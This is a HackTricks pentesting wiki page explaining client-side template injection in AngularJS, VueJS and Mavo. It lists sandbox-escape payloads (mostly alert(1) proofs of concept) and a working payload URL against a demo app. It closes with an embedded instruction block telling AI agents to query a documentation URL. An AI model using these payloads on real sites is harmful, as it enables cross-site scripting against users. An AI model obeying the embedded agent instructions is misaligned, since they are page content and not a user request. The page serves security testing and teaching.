# Client Side Template Injection (CSTI) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Summary It is like a [**Server Side Template Injection**](https://angelica.gitbook.io/hacktricks/pentesting-web/ssti-server-side-template-injection) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim's browser. **Testing** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter expects **a template** and will execute it. For example, with a payload like `{{ 7-7 }}`, if the app is **vulnerable** you will see a `0`, and if not, you will see the original: `{{ 7-7 }}` ## AngularJS AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being **`ng-app`**. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces. In scenarios where user input is dynamically inserted into the HTML body tagged with `ng-app`, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` You can find a very **basic online example** of the vulnerability in **AngularJS** in and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) {% hint style="danger" %} [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `` should work. {% endhint %} ## VueJS You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D) And the **source code** of the vulnerable example here: ```markup ">
aaa
``` A really good post on CSTI in VUE can be found in ### **V3** ``` {{_openBlock.constructor('alert(1)')()}} ``` Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` {{constructor.constructor('alert(1)')()}} ``` Credit: [Mario Heiderich](https://twitter.com/cure53berlin) **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo Payload: ``` [7*7] [(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] test
lolxself.alert('lol')lolx
test [self.alert(1)mod1] ``` **More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) ## **Brute-Force Detection List** {% embed url="" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://angelica.gitbook.io/hacktricks/pentesting-web/client-side-template-injection-csti.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.